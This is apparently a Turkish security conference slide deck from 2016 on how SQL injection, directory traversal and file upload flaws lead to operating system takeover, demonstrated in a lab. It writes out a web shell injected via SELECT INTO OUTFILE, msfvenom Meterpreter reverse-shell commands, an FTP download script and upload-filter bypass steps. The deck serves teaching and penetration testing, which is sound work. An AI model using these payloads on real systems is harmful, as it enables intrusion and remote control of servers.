Upload
owasp-turkiye
View
402
Download
3
Embed Size (px)
Citation preview
WEB UYGULAMA AÇIKLIKLARINDAN SİSTEM ELE GEÇİRMEYE GİDEN YOL
Fatih Emiral, BTRisk Bilgi Güvenliği
Özgür Yazılım Günleri 2016
26 - 27 Mart 2016, İSTANBUL
İşletim Sistemini Ele Geçirme
Web uygulama açıklıkları sadece veri sızması veya suistimale imkan tanımaz.
Web uygulamasının eriştiği veriler veya operasyonel kritikliği ne kadar düşük öncelikli olursa olsun barındırabileceği açıklıklar sayesinde üzerinde koştuğu işletim sisteminin ele geçirilmesine imkan tanıyabilir. Bu durumda saldırgan diğer hedeflere daha etkili saldırı yapabilecek bir konuma erişmiş olur.
Bu nedenle web uygulamalarının kritikliklerini değerlendirirken mutlaka web uygulamasının ve bu uygulamanın kullandığı veritabanlarının bulunduğu ağ bölümlerinin kritiklikleri de dikkate alınmalıdır.
İşletim Sistemini Ele Geçirme
İşletim sisteminin ele geçirilmesiyle sonuçlanabilecek web uygulama açıklıkları şunlardır* (rastlanma sıklığına göre sıralanmıştır):
• SQL Injection
• Dizin Aşım Açıklıkları
• File Upload Riskleri
• RFI / LFI Açıklıkları (PHP diline özel bir açıklık türü)
• (İşletim Sistemi) Command Injection
• Kod Injection (genellikle PHP ve Perl dillerinde görülen bir açıklık türü)
*Güvenlik alanı daimi bir araştırma alanıdır. Burada bahsetmeyi atladığımız bir web uygulama
açıklık türü de pekala sistem ele geçirmek için kullanılabilir. Ayrıca bu açıklıklar bahsettiğimiz şekillerin dışında da kullanılarak işletim sistemi ele geçirme amacıyla kullanılabilir.
İşletim Sistemini Ele Geçirme İşletim Sistemine
Shell veya Terminal Erişimi
Dizin Aşım Açıklıkları
RFI / LFI File Upload
Açıklığı OS Command
Injection SQL Injection
Hassas Erişim Bilgilerini İçeren Bir Dosyayı Oku
OS Komutları Çalıştırmamıza İmkan
Veren Bir PHP Kodunu Include Et
OS Komutları ile Sisteme Payload
Yükle
SSH, Telnet, VNC Gibi Servislerle
Sisteme Doğrudan Eriş
Kod Injection
Sisteme Yüklenmiş Olan Backdoor
Payload'unu Çalıştır
SQL Injection ile Sisteme Web
Uygulaması Yaz
OS Komutları ile Web Uygulaması
Yaz
Web Uygulaması ile Sisteme
Payload Yükle
SQL Injection ile OS Komutları
Çalıştır
Sisteme Web Uygulaması Yükle
Veritabanı Fonksiyonalitesiyle
Sisteme Payload Yükle
İşletim Sistemini Ele Geçirme İşletim Sistemine
Shell veya Terminal Erişimi
Dizin Aşım Açıklıkları
RFI / LFI File Upload
Açıklığı OS Command
Injection SQL Injection
Hassas Erişim Bilgilerini İçeren Bir Dosyayı Oku
OS Komutları Çalıştırmamıza İmkan
Veren Bir PHP Kodunu Include Et
OS Komutları ile Sisteme Payload
Yükle
SSH, Telnet, VNC Gibi Servislerle
Sisteme Doğrudan Eriş
Kod Injection
Sisteme Yüklenmiş Olan Backdoor
Payload'unu Çalıştır
SQL Injection ile Sisteme Web
Uygulaması Yaz
OS Komutları ile Web Uygulaması
Yaz
Web Uygulaması ile Sisteme
Payload Yükle
SQL Injection ile OS Komutları
Çalıştır
Sisteme Web Uygulaması Yükle
Veritabanı Fonksiyonalitesiyle
Sisteme Payload Yükle
İşletim Sistemini Ele Geçirme
SQL Injection ile İşletim Sistemi Ele Geçirme Örneği
Temel Adımlar
SQL injection açıklığının tespiti sırasında veritabanının MySQL olduğunu öğrendik, buna göre;
• MySQL'in bize sağladığı batched query yöntemini kullanacağız (injection yaptığımız sorguyu sorunsuz bir syntax ile sonlandırdıktan sonra veritabanı fonksiyonalitesini kullanacak komutumuzu yazacağız)
• MySQL'in "SELECT ... INTO OUTFILE ..." özelliğinden faydalanarak bir web uygulaması yazacağız
• Bu web uygulaması bizim verdiğimiz komutları işletim sisteminde işletecek
• İşletim sistemi komutları ile payload dosyamızı hedef sunucuya yükleyeceğiz
• İşletim sistemi komutu ile payload'u çalıştıracağız ve shell'imizi alacağız
SQL Injection Örneği
[Fatura Detaylarım / Detay Göster] fonksiyonu ("id" parametresi)
İşletim Sistemini Ele Geçirme
İşletim Sistemini Ele Geçirme
İşletim Sistemini Ele Geçirme
Repeater modülü ile SQL Injection açıklığına sahip olan parametreyi ve MySQL'in SELECT ... INTO OUTFILE ... özelliğini kullanarak basit bir
PHP uygulamasını web dizinleri içine yazacağız. Tabi bunun için web sunucusunun bu dizinlere
yazma hakkı bulunması önşart.
; SELECT "<?php System($_REQUEST['cmd']); ?>" INTO OUTFILE "C:\\wamp\\www\\cmd.php"
İşletim Sistemini Ele Geçirme
İşletim Sistemini Ele Geçirme
Uygulama sunucusuna yüklemek üzere bir meterpreter staged payload üretiyoruz.
msfvenom -p windows/meterpreter/reverse_tcp
lhost=192.168.163.141 lport=4444 -f exe -o payload.exe
İşletim Sistemini Ele Geçirme
Bu payload'u ftp sunucusu olarak kullanacağımız Windows sunucusuna kopyalıyoruz.
İşletim Sistemini Ele Geçirme
Şimdi ftp ile payload.exe'yi web sunucusuna çekebilmek için yine cmd.php uygulamasını
kullanarak bir ftp script'i oluşturacağız.
open 192.168.1.90 user anonymous pwd bin get payload.exe bye
Bu aşamada interaktif bir shell bağlantımız
olmadığı için ftp'nin bu özelliğini kullanacak ve script sayesinde tek komutla payload'u hedef
sunucuya yükleyeceğiz.
Bu satırları oluşturmak için defalarca manuel olarak cmd.php uygulamasını çalıştırmak yerine
Burp Suite'in intruder modülünden faydalanacağız.
İşletim Sistemini Ele Geçirme
İşletim Sistemini Ele Geçirme
İşletim Sistemini Ele Geçirme
Payload dosyamızı web sunucusuna aktarabilmek için ftp scriptinde belirtilen IP adresinde bir ftp
servisi başlatalım
İşletim Sistemini Ele Geçirme
cmp.php uygulamamız sayesinde ftp istemcisini ftp.txt script'i ile çalıştıralım ve payload dosyamızın transferini gerçekleştirelim
İşletim Sistemini Ele Geçirme
Meterpreter handler'ımızı başlatalım ve birinci stage payload'umuzun bağlantı kurmasını
bekleyelim
İşletim Sistemini Ele Geçirme
Payload.exe dosyasını yazdığımız web uygulaması sayesinde çalıştırdığımızda reverse TCP bağlantısı
kuruldu ve Meterpreter payload'umuzun ikinci stage'i hedef sunucuya yüklendi.
İşletim Sistemini Ele Geçirme
SQL Injection açıklığı sayesinde web sunucusuna shell erişimi sağladık
İşletim Sistemini Ele Geçirme Tüm işi SQLMAP'e yaptırmak isterseniz
İşletim Sistemini Ele Geçirme
SQL Injection ile Başka Hangi Yöntemlerle İşletim Sistemi Ele Geçirebilirim Diyenler İçin;
SQLMAP'in yazarlarından, detaylı bir araştırma makalesi:
• http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857
İşletim Sistemini Ele Geçirme İşletim Sistemine
Shell veya Terminal Erişimi
Dizin Aşım Açıklıkları
RFI / LFI File Upload
Açıklığı OS Command
Injection SQL Injection
Hassas Erişim Bilgilerini İçeren Bir Dosyayı Oku
OS Komutları Çalıştırmamıza İmkan
Veren Bir PHP Kodunu Include Et
OS Komutları ile Sisteme Payload
Yükle
SSH, Telnet, VNC Gibi Servislerle
Sisteme Doğrudan Eriş
Kod Injection
Sisteme Yüklenmiş Olan Backdoor
Payload'unu Çalıştır
SQL Injection ile Sisteme Web
Uygulaması Yaz
OS Komutları ile Web Uygulaması
Yaz
Web Uygulaması ile Sisteme
Payload Yükle
SQL Injection ile OS Komutları
Çalıştır
Sisteme Web Uygulaması Yükle
Veritabanı Fonksiyonalitesiyle
Sisteme Payload Yükle
Dizin Aşım Açıklığı Örneği
İşletim Sistemini Ele Geçirme
Dosya indirme fonksiyonalitesi
Dizin aşımı saldırısı için potansiyel bir hedef
Dizin Aşım Açıklığı Örneği
İşletim Sistemini Ele Geçirme
Giden parametre bir dosya adı gibi görünüyor
İşletim Sistemini Ele Geçirme
Dizin aşım açıklığının bulunup bulunmadığını ve web uygulama kök dizininin dışına çıkıp çıkamayacağımızı görmek için Windows işletim sistemlerinde bulunan
başka bir dosyanın içeriğini göremeye çalışalım.
..\..\..\..\Windows\win.ini
İşletim Sistemini Ele Geçirme
Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme Örneği
Temel Adımlar
• Öncelikle içinde hassas erişim bilgileri barındırabilecek bir dosyayı tespit etmemiz gerekli
• Bunun için kullanabileceğimiz yöntemlerden birisi "nikto" gibi bir aracı kullanarak ilginç olabilecek bir uygulama dosyasının tespiti olabilir
• Nikto ile tespit ettiğimiz kod dosyasının içeriğinde veritabanı bağlantı cümlesini gözlemleyeceğiz
• Buradaki veritabanı erişim bilgilerini kullanarak ve MySQL veritabanının uzaktan erişilebilmesi sayesinde veritabanına uzaktan bağlanacağız
• MySQL'in sağladığı imkanlar sayesinde OS komutları ile sistemi ele geçireceğiz
İşletim Sistemini Ele Geçirme
Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme Örneği
Ön Şartlar
Örneğimizde MySQL sunucusuna uzaktan "root" kullanıcısıyla erişim sağlıyoruz. Öntanımlı olarak veritabanı sunucusuna uzaktan "root" erişimi mümkün değildir. Bunun için şu ayarın yapılmış olduğunu varsayıyoruz:
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%'
IDENTIFIED BY 'btrisk'
WITH GRANT OPTION;
FLUSH PRIVILEGES;
İşletim Sistemini Ele Geçirme
Nikto'nun tespitleri arasında erişim bilgileri bulunma ihtimali olan
"config.php" dosyasının adını görebiliriz
İşletim Sistemini Ele Geçirme
MySQL veritabanı için "root" kullanıcı parolasının "btrisk" olduğunu bu
dosyanın içinde görüyoruz
İşletim Sistemini Ele Geçirme
Sunucunun MySQL servisine uzaktan erişilebildiği görülüyor
İşletim Sistemini Ele Geçirme
Bu noktadan sonra yazılacak bir web uygulaması aracılığı ile OS komutları
çalıştırılabilir ve bir payload yüklenerek sistem ele geçirilebilir.
İşletim Sistemini Ele Geçirme
Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme Örneği
Diğer Alternatif Hassas Dosyalar
Hedef web sunucusu eğer Unix veya Linux işletim sistemine sahip olsaydı, sistemi ele geçirmek amacıyla ilk hedeflerimizden birisi parola hash'lerinin tutulduğu "passwd" veya "shadow" dosyaları olabilirdi.
Hedef web uygulaması bir ASP.NET uygulaması olsaydı içinde veritabanı bağlantı cümlelerini de barındırma ihtimali yüksek olan "web.config" dosyası iyi bir hedef olabilirdi.
Sunucu üzerinde bulunabilecek yedekleme veya diğer batch işlemler için kullanılan script'ler içlerinde potansiyel olarak veritabanı erişim bilgilerini barındırabilirler.
Sunucu üzerindeki log dosyaları erişim bilgileri barındırabilir.
İşletim Sistemini Ele Geçirme İşletim Sistemine
Shell veya Terminal Erişimi
Dizin Aşım Açıklıkları
RFI / LFI File Upload
Açıklığı OS Command
Injection SQL Injection
Hassas Erişim Bilgilerini İçeren Bir Dosyayı Oku
OS Komutları Çalıştırmamıza İmkan
Veren Bir PHP Kodunu Include Et
OS Komutları ile Sisteme Payload
Yükle
SSH, Telnet, VNC Gibi Servislerle
Sisteme Doğrudan Eriş
Kod Injection
Sisteme Yüklenmiş Olan Backdoor
Payload'unu Çalıştır
SQL Injection ile Sisteme Web
Uygulaması Yaz
OS Komutları ile Web Uygulaması
Yaz
Web Uygulaması ile Sisteme
Payload Yükle
SQL Injection ile OS Komutları
Çalıştır
Sisteme Web Uygulaması Yükle
Veritabanı Fonksiyonalitesiyle
Sisteme Payload Yükle
File Upload Açıklığı Örneği
İşletim Sistemini Ele Geçirme Uygulamanın resim yükleme fonksiyonunu kullanıyoruz.
Uygulama resim dosyasının ismini aşağıdaki gibi oluşturuyor ve bunu istemci tarafında belirlemiş oluyor.
İşletim Sistemini Ele Geçirme
Bilgilerim sayfasında bulunan linkleri incelediğimizde fotoğraf dosyasının
bu isimle çekildiğini görüyoruz. Buradan yüklenen dosyaların "/profile_photo" dizini altına
yüklendiğini varsayabiliriz.
İşletim Sistemini Ele Geçirme
İşletim Sistemini Ele Geçirme
File Upload Açıklığı ile İşletim Sistemi Ele Geçirme Örneği
Temel Adımlar
• Dosya yükleme açıklığı sayesinde istediğimiz web uygulamasını sunucuya yükleyebiliriz.
• Bu örnekte Metasploit'in PHP payload oluşturma imkanından faydalanacağız. Bunun için reverse tcp bağlantısı kuracak bir PHP dosyası oluşturacak ve sunucuya bu dosyayı yükleyeceğiz.
• Metasploit multi handler aracı ile bağlantıyı beklerken yüklediğimiz uygulamayı çalıştıracağız ve handler bizim için stage 2 payload'u sisteme yükleyecek.
• Bu noktadan sonra meterpreter'in gelişmiş imkanları sayesinde web sunucu prosesinin hakları ile sisteme erişeceğiz.
İşletim Sistemini Ele Geçirme
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.163.141 LPORT=4444 -f raw > shell.php
Metasploit aracılığıyla handler'ımıza bağlanarak 2. stage payload'u
çekecek bir PHP kodunu üretiyoruz.
Kullandığımız payload php/meterpreter_reverse_tcp
İşletim Sistemini Ele Geçirme
Üretilen payload'un PHP olarak yorumlanabilmesi için başına ve
sonuna PHP tag eklemesini yapmamız gerekiyor.
İşletim Sistemini Ele Geçirme
Metasploit multi handler modülü ile bize bağlanacak stage 1 PHP
payload'umuzdan gelecek bağlantı talebini bekliyoruz.
İşletim Sistemini Ele Geçirme
Bir dosya yükleme isteği başlatmak için Browse düğmesine tıklayalım
İşletim Sistemini Ele Geçirme
HTML inpug tag'i içinde dosya tipi imaj dosyaları olarak kısıtlanmış. Bu
kontrolü HTML içinden de temizleyebiliriz, giden mesajı Burp
ile kestiğimizde de dosya adı ve içeriğini düzenleyebiliriz.
İşletim Sistemini Ele Geçirme
Şimdilik bir resim dosyası seçelim ve dosya yükle düğmesine basalım,
değişikliği kestiğimiz istek üzerinde gerçekleştirelim.
Burp content miktarının değişikliği için hesaplamayı yaparak bizim için
Content-Length başlığını düzenleyecek nasıl olsa.
İşletim Sistemini Ele Geçirme
Orijinal dosya adı parametresi ve dosya içeriği
İşletim Sistemini Ele Geçirme
Değiştirilmiş dosya adı parametresi ve dosya içeriği (shell.php)
İşletim Sistemini Ele Geçirme
Dosya yükleme işlemimiz başarı ile gerçekleşmiş gibi görünüyor.
İşletim Sistemini Ele Geçirme
Resim dosyalarının yazıldığı dizinin /profile_photo dizini olduğunu daha önce görmüştük. Bu isteklerden birini repeater modülüne atarak yüklediğimiz shell.php dosyasını çalıştıralım. Apache'nin eklediği Last-Modified HTTP başlığı nedeniyle bu istek her uygulamaya girişte yapılmıyor, bu nedenle bu isteği görebilmemiz için tarayıcı belleğini boşaltmamız gerekebilir.
İşletim Sistemini Ele Geçirme
shell.php sayfasına istekte bulunduğumuzda payload'umuz aktif hale
gelmiş oluyor
İşletim Sistemini Ele Geçirme
Hedef sunucumuz handler'ımıza bağlandığında artık shell erişimimizi sağlayabiliriz.
Bu çalışmanın yapıldığı sırada malesef bu payload'un pek kararlı olmadığınız gözlemledik, ancak metodun çalıştığını
bu örnekle görebiliriz.
İşletim Sistemini Ele Geçirme
Ele geçirme yöntemlerine etki eden faktörler
SQL injection açıklığı için
• Hedef veritabanı nedir?
• Veritabanı tek seferde birden fazla SQL komutuna izin verir mi?
• Veritabanının OS komutu çalıştırma imkanı var mıdır?
• Veritabanının bir dosyaya yazma imkanı var mıdır?
İşletim Sistemini Ele Geçirme
Ele geçirme yöntemlerine etki eden faktörler
Payload seçimi, payload yükleme yöntemi seçimi için
• Hedef işletim sistemi nedir?
• Bu işletim sisteminde öntanımlı olarak bulunan veya sonradan yüklenmiş dosya transfer komut imkanları nelerdir?
• İşletim sistemine yönelik olarak nasıl bir payload kullanmayı tercih edeceğiz?
İşletim Sistemini Ele Geçirme
Ele geçirme yöntemlerine etki eden faktörler
Erişim bilgileri ele geçirildiğinde
• İşletim sistemi üzerinde hangi servisler aktiftir?
Uygulama dilinin tespiti
• LFI/RFI açıklıklarının analizi için
• File upload açıklığının kullanılması için
• Kod injection açıklıklarının analizi için